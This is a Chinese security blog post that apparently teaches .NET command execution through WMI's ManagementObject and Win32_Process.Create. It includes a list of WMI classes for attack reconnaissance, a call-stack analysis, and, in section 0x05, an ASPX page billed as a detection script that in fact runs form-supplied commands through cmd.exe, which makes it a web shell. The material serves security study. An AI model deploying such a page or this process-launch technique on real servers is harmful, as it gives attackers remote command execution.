“dotNet安全矩阵知识星球 — 聚焦于微软.NET安全技术,关注基于.NET衍生出的各种红蓝攻防对抗技术、分享内容不限于 .NET代码审计、 最新的.NET漏洞分析、反序列化漏洞研究、有趣的.NET安全Trick、.NET开源软件分享、. NET生态等热点话题、还可以获得阿里、蚂蚁、字节等大厂内推的机会。
”
0x01背景
ManagementObject
ManagementObject用于创建WMI类的实例与WINDOWS系统进行交互,通过使用WMI我们可以获取服务器硬件信息、收集服务器性能数据、操作Windows服务,甚至可以远程关机或是重启服务器。
WMI
WMI 的全称 Windows Management Instrumentation,即 Windows 管理规范,在 Windows 操作系统中,随着 WMI 技术的引入并在之后随着时间的推移而过时,它作为一项功能强大的技术,从 Windows NT 4.0 和 Windows 95 开始,始终保持其一致性。它出现在所有的 Windows 操作系统中,并由一组强大的工具集合组成,用于管理本地或远程的 Windows 系统。微软提供了丰富的 WMI 对象用来与操作系统相关的信息进行通信。例如:Win32_Process,Win32_Service,AntiVirusProduct,Win32_StartupCommand等等,所有的WMI对象都使用类似于一个 SQL 查询的语言称为 WMI 查询语言WQL, WQL 能够很好且细微的控制返回给用户的 WMI 对象。下图提供了微软实现 WMI 的一个高级别概述以及微软实现的组件和实现的标准之间的关系
0x02WMI用法
WMI介绍
WMI 类的命名空间的层次结构非常类似于传统的,面向对象的编程语言的命名空间。所有的命名空间都派生自根命名空间,在用脚本语言查询对象并未显式指定命名空间时,微软使用 ROOTCIMV2 作为默认的命名空间,Windows系统提供测试器 wbemtest.exe ,wbemtest.exe 是一个功能强大的带有图形界面的 WMI 诊断工具。它能够枚举对象实例、执行查询、注册事件、修改 WMI 对象和类,并且可以在本地或远程去调用方法。工具查询如下图
另外下面的 WMI 类是在攻击的侦察阶段用来收集数据的,如下列表
用途 | 类型 |
---|---|
操作系统信息 | Win32_OperatingSystem |
文件目录 | CIM_DataFile |
磁盘卷 | Win32_Volume |
注册表 | StdRegProv |
运行进程 | Win32_Process |
系统服务 | Win32_Service |
事件日志 | Win32_NtLogEvent |
登录账户 | Win32_LoggedOnUser |
共享信息 | Win32_Share |
安装补丁 |
Win32_QuickFixEngineering |
WMI 提供了一种简单的语法WQL用于查询 WMI 对象实例,有三种类别的 WQL 查询。
实例查询
实例查询是最常见的用于获取 WMI 对象实例的 WQL 查询。基本的实例查询采用以下形式
“SELECT [Class property name|*] FROM [CLASS NAME] <WHERE [CONSTRAINT]>以下查询将返回所有正在运行的进程的可执行文件名称中包含"Chrome"的结果。具体的说是,此查询将返回 Win32_Process 类的每个实例的所有属性的名称字段中包含字符串"Chrome"的结果SELECT * FROM Win32_Process WHERE Name LIKE "%chrome%"
”
事件查询
事件查询提供了报警机制,触发事件的类。在 WMI 类实例被创建时被用于常用的事件查询触发器。事件查询将采取以下形式
“SELECT [Class property name|*] FROM [EXTRINSIC CLASS NAME] <WHERE [CONSTRAINT]>下面是在可移动媒体插入时的事件查询触发器SELECT * FROM Win32_VolumeChangeEvent WHERE EventType = 2
”
元查询
元查询提供一个 WMI 类架构发现和检查机制。元查询采用以下形式:
“SELECT [Class property name|*] FROM [Meta_Class<WHERE [CONSTRAINT]>以下查询将列出所有以字符串 "Win32" 开头的 WMI 类SELECT * FROM Meta_Class WHERE __Class LIKE "Win32%"
”
0x03.NET用法
.NET对象查询
.NET下需引入程序集:Assembly Name="System.Management, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",命名空间:using System.Management,该命名空间提供对一组符合WMI基础结构的系统、设备和应用程序的管理信息和管理事件的访问。
用途 | 类型 |
---|---|
连接WMI命名空间 | ManagementScope |
管理对象的基本元素 | ManagementBaseObject |
管理WMI实例 | ManagementObject |
WMI检索管理对象的集合 | ManagementObjectCollection |
查询检索管理对象的集合 | ManagementObjectSearcher |
.NET ManagementObjectSearcher表示基于指定的查询检索管理对象的集合,笔者通过一段代码获取当前系统账户名,指定WMI的Key = Win32_UserAccount ,遍历出包含的所有系统账户,如下代码
private static string GetHardWareInfo(string item)
{
if (item == "" || item == null)
{
return null;
}
string hardinfo = null;
string querystr = string.Format("select * from {0}", item);
ManagementObjectSearcher objvide = new ManagementObjectSearcher(querystr);
foreach (ManagementObject obj in objvide.Get())
{
hardinfo += obj["Name"].ToString() + "n";
}
return hardinfo;
}
//Main方法中调用
string v = GetHardWareInfo("Win32_UserAccount");
Console.WriteLine(v);
.NET启动进程 (1)
攻击者进行横向运动时执行的一个常用方法是在 Win32_Process 类中的静态 Create 方法,此方法可以快速创建一个新的进程。Win32_Process类里的Create方法有4个参数,CommandLine用于接受外部的指令,原型如下
uint32 Create(
[in] string CommandLine,
[in] string CurrentDirectory,
[in] Win32_ProcessStartup ProcessStartupInformation,
[out] uint32 ProcessId
);
在.NET平台下使用ManagementClass类的初始方法加载WMI Win32_Process创建系统进程,通过Create方法启动新的进程,设置参数methodArgs数组的值为calc.exe,因为后面几个是可选参数,可省略成 object[] methodArgs = { "calc.exe" };
ManagementClass processClass = new ManagementClass("Win32_Process");
object[] methodArgs = { "calc.exe", null, null, 0 };
object result = processClass.InvokeMethod("Create", methodArgs);
.NET启动进程 (2)
ManagementClass初始方法还可以指定WMI命名空间rootcimv2的方式调用Create方法,InvokeMethod还提供了两个带有ManagementOperationObserver类的重载方法,用于管理异步接收的管理信息和事件,在代码中直接实例化该对象
ManagementClass processClass = new ManagementClass("\root\cimv2:Win32_Process");
object[] methodArgs = { "calc.exe" };
processClass.InvokeMethod(new ManagementOperationObserver(), "Create", methodArgs);
0x04 调用栈
MangementObject类的InvokeMethod方法,调用GetMethodParameters方法内部使用完成对Create方法名的获取
public object InvokeMethod(string methodName, object[] args)
{
if (this.path == null || this.path.Path.Length == 0)
throw new InvalidOperationException();
if (methodName == null)
throw new ArgumentNullException(nameof (methodName));
this.Initialize(false);
ManagementBaseObject inParameters;
IWbemClassObjectFreeThreaded inParametersClass;
IWbemClassObjectFreeThreaded outParametersClass;
this.GetMethodParameters(methodName, out inParameters, out inParametersClass, out outParametersClass);
ManagementObject.MapInParameters(args, inParameters, inParametersClass);
ManagementBaseObject outParams = this.InvokeMethod(methodName, inParameters, (InvokeMethodOptions) null);
return ManagementObject.MapOutParameters(args, outParams, outParametersClass);
}
ManagementObject.MapInParameters(args, inParameters, inParametersClass),参数args带入ManagementBaseObject类的setProperyValue属性,设置propertyName="CommandLine"、propertyValue="calc.exe"
通过PropertyData类的Value属性把参数值calc.exe传递给MapValueToWmiValue方法,IWbemClassObjectFreeThreaded 线程类使用Put_和Get_方法将传递的ProperyValue属性 ,经过WmiNetUtilsHelper.Put_f 方法转变为非托管类型数据的参数值
public int Put_(string wszName, int lFlags, ref object pVal, int Type)
{
if (this.pWbemClassObject == IntPtr.Zero)
throw new ObjectDisposedException(IWbemClassObjectFreeThreaded.name);
int num = WmiNetUtilsHelper.Put_f(5, this.pWbemClassObject, wszName, lFlags, ref pVal, Type);
GC.KeepAlive((object) this);
return num;
}
ManagementObject类又重载了另一个InvokeMethod方法,方法内调用了 GetSecuredIWbemServicesHandler类的ExecMethod_方法,进入ExecMethod_后才得知好家伙又套了一层 ExecMethod_方法。
internal int ExecMethod_(
string strObjectPath,
string strMethodName,
int lFlags,
IWbemContext pCtx,
IWbemClassObjectFreeThreaded pInParams,
ref IWbemClassObjectFreeThreaded ppOutParams,
IntPtr ppCallResult)
{
int num = -2147217407;
if ((ValueType) ppCallResult != (ValueType) IntPtr.Zero)
num = this.pWbemServiecsSecurityHelper.ExecMethod_(strObjectPath, strMethodName, lFlags, pCtx, (IntPtr) pInParams, out ppOutParams, ppCallResult);
return num;
}
跟踪进入pWbemServiecsSecurityHelper.ExecMethod_方法得知内部实现了一个用于交换托管类型的数据转换为非托管类型的等效数据,将参数传递给非托管函数自定义的组装器UnmanagedType.CustomMarshaler
组装器类型引用于 MarshalWbemObject类,而此类是继承于接口ICustomMarshaler,必须实现内部几个方法
internal class MarshalWbemObject : ICustomMarshaler
{
private string cookie;
public static ICustomMarshaler GetInstance(string cookie) => (ICustomMarshaler) new MarshalWbemObject(cookie);
private MarshalWbemObject(string cookie) => this.cookie = cookie;
public void CleanUpManagedData(object obj){}
public void CleanUpNativeData(IntPtr pObj){}
public int GetNativeDataSize() => -1;
public IntPtr MarshalManagedToNative(object obj) => (IntPtr) obj;
public object MarshalNativeToManaged(IntPtr pObj) => (object) new IWbemClassObjectFreeThreaded(pObj);
}
静态GetInstance方法要求CLR每个应用程序域只会调用一次GetInstance(),因此每个应用程序域最多加载一个自定义组装器,CLR 将调用静态 MarshalWbemObject.GetInstance() 方法以获取 MarshalWbemObject类的实例,接下来MarshalWbemObject.MarshalManagedToNative() 方法将托管的对象转换为非托管对象,而且这个非托管对象必须通过 IntPtr 返回指针调用,最后通过MarshalNativeToManaged方法将非托管对象转成托管对象交给IWbemClassObjectFreeThreaded类完成在两种不同的托管环境下的数据交互,如下图链路虚线表示间接被调用
整体调用链路大致如下
“-> MangementObject.InvokeMethod -> GetMethodParameters-> MapInParameters -> ManagementBaseObject.setProperyValue -> MapValueToWmiValue -> ManagementObject.InvokeMethod-> GetSecuredIWbemServicesHandler.ExecMethod_
-> pWbemServiecsSecurityHelper.ExecMethod_
-> UnmanagedType.CustomMarshaler
-> MarshalWbemObject.MarshalManagedToNative
-> MarshalWbemObject.MarshalNativeToManaged
”
0x05 检测脚本
为了增强漏洞检测脚本的可操作性,笔者改用aspx页面编写风险检查智能助手,同时设计了主机进程、主机信息采集、主机目录文件访问等功能,核心代码和ManagementClassofInvokeMethodCheckSpy.aspx 页面用户体验界面如下
<%@ Assembly Name="System.Management, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a" %>
Server.ScriptTimeout = 775000;
if (IsPostBack)
{
var content = Request.Form["content"];
if (!string.IsNullOrEmpty(content))
{
string ExecCode = EncodeBase64("utf-8", content);
ManagementClass processClass = new ManagementClass("\root\cimv2:Win32_Process");
object[] methodArgs = { "cmd.exe " + DecodeBase64("utf-8",ExecCode)};
object result = processClass.InvokeMethod("Create", methodArgs);
}
}
0x06 结语
文章涉及的PDF和Demo已打包发布在星球,欢迎对.NET安全关注和关心的同学加入我们,经过星球运营团队投票商议决定星球价格优惠活动持续进行,星球价格直接给到星球 [最低起步价¥50] ,每天只需要1块钱不到,就可以让自己从.NET小白成为高手,因为星球里的资料和教程很少在市面上广泛传播,价值完全划算,在这里能遇到有情有义的小伙伴,大家聚在一起做一件有意义的事。
原文始发于微信公众号(dotNet安全矩阵):.NET 命令执行(第1课)之 ManagementObject
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论